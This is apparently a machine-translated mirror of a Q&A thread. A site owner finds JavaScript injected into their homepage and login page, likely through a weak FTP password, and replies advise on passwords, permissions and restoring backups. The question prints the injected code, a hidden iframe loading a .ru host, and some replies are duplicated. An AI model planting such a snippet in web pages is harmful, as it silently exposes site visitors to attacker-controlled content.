Ftp Javascript代码自动添加到服务器页面

Ftp Javascript代码自动添加到服务器页面,ftp,web-hosting,spam,virus,Ftp,Web Hosting,Spam,Virus,今天早上我注意到一些Javascript已经添加到我的托管站点。当我下载主页时,代码是 (函数(){var ipexz=document.createElement('iframe'));ipexz.src=http://nypmivhy.ru/count5.php“;ipexz.style.position='absolute';ipexz.style.border='0';ipexz.style.height='1px';ipexz.style.left='1px';ipexz.style.

今天早上我注意到一些Javascript已经添加到我的托管站点。当我下载主页时,代码是
(函数(){var ipexz=document.createElement('iframe'));ipexz.src=http://nypmivhy.ru/count5.php“;ipexz.style.position='absolute';ipexz.style.border='0';ipexz.style.height='1px';ipexz.style.left='1px';ipexz.style.top='1px';if(!document.getElementById('ipexz')){document write('');document.getElementById('ipexz')).appendChild(ipexz);}}()
在登录页面中:

(function () { var usyux = document.createElement('iframe'); usyux.src = 'http://nypmivhy.ru/count5.php'; usyux.style.position = 'absolute'; usyux.style.border = '0'; usyux.style.height = '1px'; usyux.style.width = '1px'; usyux.style.left = '1px'; usyux.style.top = '1px'; if (!document.getElementById('usyux')) { document.write('
'); document.getElementById('usyux').appendChild(usyux); }})();" method="post"> Email
我猜这是病毒/垃圾邮件攻击。虽然我现在删除了javascript代码,但我想知道如何防止我的站点受到此类攻击。注意:我的FTP密码很弱

注意:我的FTP密码很弱

你知道自己做错了什么,但还是问?首先要解决这个问题,还要保护你的计算机,如果你使用的是脚本,请查看黑客企图的日志并确保其安全

注意:我的FTP密码很弱


你知道自己做错了什么,但还是问?首先要解决这个问题,还要保护您的计算机,如果您使用的是脚本,请查看黑客尝试的日志并确保其安全。

检查文件的权限是否正确,否则可能是代码被注入

看看这个:

您必须为文件设置3个主要权限:

read from the file
write to the file
execute the file
以下是权限摘要


检查文件的权限是否正确,否则可能是注入了代码

看看这个:

您必须为文件设置3个主要权限:

read from the file
write to the file
execute the file
以下是权限摘要

如果不“删除”注入的代码,则将站点还原为已知良好的备份,并立即采取措施防止再次入侵。如果你没有备份和版本控制你的站点上的所有内容,你不仅浪费了你自己的时间,也浪费了我们的时间和整个互联网的时间。如果你不“删除”注入的代码,你会将站点恢复到已知的良好备份,并立即采取措施防止入侵重复。如果你没有备份和版本控制,你的网站上的一切,你不仅浪费你自己的时间,但我们和一般互联网的。